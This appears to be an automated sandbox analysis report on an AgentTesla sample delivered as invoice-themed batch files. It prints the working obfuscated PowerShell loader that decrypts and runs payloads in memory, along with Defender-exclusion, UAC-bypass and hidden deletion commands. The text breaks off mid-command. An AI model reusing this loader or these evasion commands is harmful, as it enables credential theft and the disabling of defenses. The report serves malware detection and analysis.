Analysis Overview
SHA256
adc82b873e8b21669e2d4cd73377a61e1d002ca8536502160603434424c13e02
Threat Level: Known bad
The file Attachments.zip was found to be: Known bad.
Malicious Activity Summary
AgentTesla
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Loads dropped DLL
Executes dropped EXE
Looks up external IP address via web service
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-03 06:09
Signatures
Analysis: behavioral3
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win7-20231129-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2212 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2236 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2236 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2236 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2212 wrote to memory of 2524 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2212 wrote to memory of 2524 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2212 wrote to memory of 2524 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Network
Files
memory/2524-4-0x000007FEF5DDE000-0x000007FEF5DDF000-memory.dmp
memory/2524-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp
memory/2524-7-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
memory/2524-8-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
memory/2524-6-0x0000000002800000-0x0000000002808000-memory.dmp
memory/2524-10-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
memory/2524-9-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
memory/2524-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
memory/2524-12-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp
Analysis: behavioral4
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win10v2004-20240426-en
Max time kernel
149s
Max time network
156s
Command Line
Signatures
AgentTesla
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c call SC.cmd
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.12.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 205.12.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.107.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.162.46.104.in-addr.arpa | udp |
Files
memory/4004-0-0x00007FFE0FE43000-0x00007FFE0FE45000-memory.dmp
memory/4004-1-0x00000209CCBF0000-0x00000209CCC12000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btwq5t1j.pzq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4004-11-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/4004-12-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/4004-13-0x00000209CD120000-0x00000209CD164000-memory.dmp
memory/4004-14-0x00000209CD1F0000-0x00000209CD266000-memory.dmp
memory/4004-15-0x00000209CCD60000-0x00000209CCD70000-memory.dmp
memory/4004-17-0x00007FFE2DF60000-0x00007FFE2E01E000-memory.dmp
memory/4004-16-0x00007FFE2E070000-0x00007FFE2E265000-memory.dmp
memory/4004-18-0x00000209CD170000-0x00000209CD1D6000-memory.dmp
memory/2868-19-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/2868-29-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/2868-30-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/2868-33-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | d25a9e160e3b74ef2242023726f15416 |
| SHA1 | 27a9bb9d7628d442f9b5cf47711c906e3315755b |
| SHA256 | 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c |
| SHA512 | bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910 |
C:\Windows \System32\MLANG.dll
| MD5 | e286ada1af4b08fa4b7c78f862883c4e |
| SHA1 | 798ebc7b7cd3db667f1a59ade299be4cff397f39 |
| SHA256 | 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3 |
| SHA512 | fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5 |
C:\Users\Admin\AppData\Local\Temp\SC.cmd
| MD5 | 1952a79579272db52a814baf57821f90 |
| SHA1 | 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3 |
| SHA256 | e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1 |
| SHA512 | 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/1876-56-0x00007FFE2DF60000-0x00007FFE2E01E000-memory.dmp
memory/1876-55-0x00007FFE2E070000-0x00007FFE2E265000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 77d622bb1a5b250869a3238b9bc1402b |
| SHA1 | d47f4003c2554b9dfc4c16f22460b331886b191b |
| SHA256 | f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb |
| SHA512 | d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9 |
memory/1876-70-0x000001FD58B50000-0x000001FD58B92000-memory.dmp
memory/4004-71-0x00007FFE0FE40000-0x00007FFE10901000-memory.dmp
memory/1876-72-0x000001FD58C20000-0x000001FD58C70000-memory.dmp
Analysis: behavioral5
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win7-20240508-en
Max time kernel
118s
Max time network
122s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2232 wrote to memory of 1916 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 1916 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 1916 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 2032 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 2032 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 2032 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2232 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2232 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2232 wrote to memory of 2592 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSf4SfWusxtAoXnZPWK7HVx3v2wBNCa20+NeGFjqXZU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0aLcTPofevxAgYIfoL8llg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Qsygn=New-Object System.IO.MemoryStream(,$param_var); $VECRT=New-Object System.IO.MemoryStream; $UXUkR=New-Object System.IO.Compression.GZipStream($Qsygn, [IO.Compression.CompressionMode]::Decompress); $UXUkR.CopyTo($VECRT); $UXUkR.Dispose(); $Qsygn.Dispose(); $VECRT.Dispose(); $VECRT.ToArray();}function execute_function($param_var,$param2_var){ $bGuEF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IjeaD=$bGuEF.EntryPoint; $IjeaD.Invoke($null, $param2_var);}$QcPvT = 'C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat';$host.UI.RawUI.WindowTitle = $QcPvT;$IZHJg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QcPvT).Split([Environment]::NewLine);foreach ($obaKw in $IZHJg) { if ($obaKw.StartsWith('WMpdAaneLcTpTiRReCou')) { $wlgPh=$obaKw.Substring(20); break; }}$payloads_var=[string[]]$wlgPh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Network
Files
memory/2592-4-0x000007FEF586E000-0x000007FEF586F000-memory.dmp
memory/2592-5-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp
memory/2592-6-0x000000001B610000-0x000000001B8F2000-memory.dmp
memory/2592-8-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp
memory/2592-7-0x0000000002240000-0x0000000002248000-memory.dmp
memory/2592-9-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp
memory/2592-10-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp
Analysis: behavioral6
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win10v2004-20240508-en
Max time kernel
149s
Max time network
154s
Command Line
Signatures
AgentTesla
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSf4SfWusxtAoXnZPWK7HVx3v2wBNCa20+NeGFjqXZU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0aLcTPofevxAgYIfoL8llg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Qsygn=New-Object System.IO.MemoryStream(,$param_var); $VECRT=New-Object System.IO.MemoryStream; $UXUkR=New-Object System.IO.Compression.GZipStream($Qsygn, [IO.Compression.CompressionMode]::Decompress); $UXUkR.CopyTo($VECRT); $UXUkR.Dispose(); $Qsygn.Dispose(); $VECRT.Dispose(); $VECRT.ToArray();}function execute_function($param_var,$param2_var){ $bGuEF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join 